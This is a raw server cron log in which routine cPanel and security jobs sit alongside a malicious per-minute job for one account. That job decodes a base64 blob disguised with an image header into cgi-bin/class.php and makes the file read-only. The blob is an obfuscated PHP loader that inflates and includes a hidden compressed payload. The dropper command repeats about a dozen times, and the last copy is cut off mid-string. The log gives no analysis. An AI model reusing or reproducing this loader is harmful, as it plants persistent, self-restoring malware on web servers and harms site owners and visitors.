Sep  5 22:34:01 server CROND[13950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:35:01 server CROND[14369]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 22:35:01 server CROND[14373]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:35:01 server CROND[14380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:35:01 server CROND[14389]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:35:01 server CROND[14392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:35:01 server CROND[14393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:35:01 server CROND[14388]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 22:35:01 server CROND[14390]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 22:35:01 server CROND[14391]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 22:36:01 server CROND[15186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:36:01 server CROND[15187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:36:01 server CROND[15188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:37:01 server CROND[15542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:37:01 server CROND[15543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:37:01 server CROND[15544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:38:01 server CROND[15904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:38:01 server CROND[15906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:38:01 server CROND[15905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:39:01 server CROND[16287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:39:01 server CROND[16288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:39:01 server CROND[16289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:39:01 server CROND[16290]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 22:40:01 server CROND[16765]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 22:40:01 server CROND[16768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:40:01 server CROND[16769]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 22:40:01 server CROND[16770]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:40:01 server CROND[16772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:40:01 server CROND[16773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:40:01 server CROND[16771]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:40:01 server CROND[16774]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 22:41:01 server CROND[17588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:41:01 server CROND[17589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:41:01 server CROND[17590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:42:01 server CROND[17968]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 22:42:01 server CROND[17970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:42:01 server CROND[17969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:42:01 server CROND[17967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:43:01 server CROND[18341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:43:01 server CROND[18343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:43:01 server CROND[18342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:44:01 server CROND[18717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:44:01 server CROND[18718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:44:01 server CROND[18719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:45:01 server CROND[19186]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:45:01 server CROND[19187]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 22:45:01 server CROND[19184]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 22:45:01 server CROND[19189]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:45:01 server CROND[19185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:45:01 server CROND[19188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:45:01 server CROND[19190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5